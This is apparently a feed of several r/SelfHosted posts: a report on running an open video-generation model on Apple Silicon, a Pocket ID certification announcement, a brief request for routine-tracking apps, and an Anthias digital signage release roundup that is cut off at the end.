Smoke test at 192x320, 5 frames, 8 steps: 5.5 seconds of denoising, about 1.45 it/s. Output was clean, no NaN mush (Wan-family models have a history of bf16 NaNs on MPS, so I checked the pixel stats).
A 480x832 / 49-frame / 20-step run: about 35 seconds per step on MPS. I measured 16 of the 20 steps (about 9.5 minutes in) and stopped there once the per-step time was stable, so the roughly 12 minutes of denoising for a full 2-second clip is 20 x 35 on paper plus VAE decode, not a render I have sat through to the end.
In practice this is not replacing a cloud service if you are in a hurry. An extrapolated twelve minutes of denoising for two seconds means the plan is to iterate at low res and only spend the full 480p budget when a prompt is worth it. It also cannot use the batched-CFG fast path (that one really is FlashAttention-3 only), and it does not take raw text prompts, it wants a structured JSON caption from a rewriter model.
It runs as a one-shot batch job, not an always-on daemon: you kick off a render and collect the file when it finishes, the same shape as a local transcode. What matters for this sub is that the whole pipeline runs on hardware I own instead of a metered cloud API. I am posting it because I could not find the MPS specifics written down anywhere, and the gap between "open weights" and "runs on my Mac" was twelve lines across three files, not a rewrite.
To be clear I did not build this model, I just ported it. It is the one that happened to be Apache-2.0 and small enough to fit on 64 GB. It got a wave of attention across the AI subs last week; this post is only about getting it onto a Mac and what that costs.
Repro (Apple Silicon, about 12 GB disk for weights):
LINGBOTQWENATTNIMPLEMENTATION=sdpa .venv/bin/python scripts/inference.py \
--backend diffusers --modeldir ../models/lingbot-video-dense-1.3b \
--mode t2v --promptjson assets/cases/t2v/example1/prompt.json \
--duration 2 --height 480 --width 832 --steps 20 \
--guidancescale 3 --shift 3 --fps 24 --seed 42 \
--transformerdtype bf16 --textencoderdtype bf16
Pocket ID is now OpenID Connect Certified™ + OAuth 2.0 API support
Hey everyone
I just wanted to share this because we are pretty proud of this milestone. Since v2.10.0 Pocket ID is now OpenID Connect Certified™ which means that we pass all tests of the OpenID Connect test suite.
Additionally we've introduced the support for OAuth 2.0 APIs and permissions (or in more technical terms "resource servers" and "scopes"). This is very useful if you are building your own application and you want to delegate authorization and authentication completely to Pocket ID.
Our main goal remains the same; make Pocket ID as easy-to-use as possible while providing the features that matter most. I hope you're enjoying Pocket ID! If you have any questions, feel free to join our Discord. And if you have ideas for new features or improvements, please share your suggestions on GitHub.
---
If you've never heard of Pocket ID, it is an easy-to-use OpenID Connect Certified™ and OAuth 2.0 provider that lets users sign in to your applications with passkeys. It allows you to delegate authentication of most of your self-hosted apps behind Pocket ID. This means you can manage all your homelab users in one place.
https://redd.it/1uunxeq
@r_SelfHosted
Self host options for routines/wishlist
I have ADHD and need everything in place
Creating lists for my diet/products i use
Workout routine etc
Has to be somewhat aesthetically pleasing
https://redd.it/1uudc2k
@r_SelfHosted
Anthias: 8 releases in 2 months / video playback finally fixed everywhere, non-Pi ARM boards, HDMI-CEC, security fixes, and a free app library
Two months ago I posted here about Anthias v2026.05.0, the biggest release in years. I said we'd keep the momentum going. Here's what actually happened: eight releases since then. I didn't want to spam the sub with a post for every release, and every time I was about to write a roundup, another one shipped. So here's everything at once.
Quick recap: what is Anthias?
Anthias is a self-hosted digital signage solution, around since 2012 and mostly maintained by Screenly (where I work as a PM). The API server runs directly on the device displaying the content. If you have a few screens and want scheduling and reliability without handing control to a third party, it's easy to set up and you own everything. It's the most starred self-hosted signage project on GitHub.
Video playback: fixed. For real this time.
This has been the biggest source of frustration for years, and it's the main reason to upgrade:
Pi 4 went from \~3,000 dropped frames per minute to zero, and from a rendering cap of 8.3 fps to a steady 30 fps
Pi 5 went from 10-12 fps to 26.6 fps
Pi 2 / Pi 3: VLC is gone, replaced with a hardware-accelerated GStreamer pipeline. 1080p30 on a Pi 3 with zero dropped frames
x86: video was outright broken under the Wayland compositor. Now it works, with proper GPU decode on Intel and AMD
We ran 12-hour mixed-media burn-in tests across all supported hardware with zero crashes.
Anthias is no longer Pi-only
Formal support for 64-bit ARM SBCs running Debian-based Armbian: Rock Pi, Orange Pi, Odroid, etc. Tested end-to-end on a Rock Pi 4B and validated across RK3399, RK35xx, Allwinner H6, and Amlogic S905X3-class chips. If you have a drawer full of not-Raspberry-Pis, give it a try.
Other highlights since May
Screen rotation (0/90/180/270°) is now a dropdown in Settings, works on all hardware, no config file editing
HDMI-CEC display control: turn your TV on/off through the HDMI cable, from the UI or via API. No smart plugs or IR blasters needed
Paste a video URL into the asset manager and Anthias downloads it in the background. Live streams (RTSP/HLS) are detected and played as streams
Bulk asset management: select multiple assets and enable/disable/edit/delete them together
1 GB boards (Pi 2/3, Pi 4 1GB) got graceful degradation and no longer OOM-crash
64-bit image for Pi 3
Two security fixes in the asset API (path traversal via file-based assets, and an SSRF-ish hole in the YouTube importer). If your device is reachable by people you don't fully trust, update promptly and enable authentication in Settings, since it's off by default
Backups and restores are now streamed, so restoring a large backup won't run a 1 GB device out of memory
A long list of small but annoying reliability fixes now that we have proper crash reporting: deleted assets actually being removed from disk, audio going silent after restarts, displays stuck at low resolution after a TV power cycle, and more
A free app library (works even without Anthias)
We also launched a library of free, ready-made signage apps through Screenly Labs: clocks, weather, air quality, quotes, auto-rotating headlines from NPR/BBC/Reuters/Hacker News, and more. 47 apps at this point and growing.
No login, no account, nothing to buy into. Each app is just a URL, so it works on anything that can display a web page: any signage player, any CMS, a smart TV browser, a bare Raspberry Pi in kiosk mode. You don't need Anthias at all.
That said, Anthias now has an Apps tab built into Add Asset, so you can browse the catalog and configure apps (location for weather, feed for headlines) with a real form instead of building URLs by hand.
Full details
Roundup of v2026.05.1 - v2026.06.1:
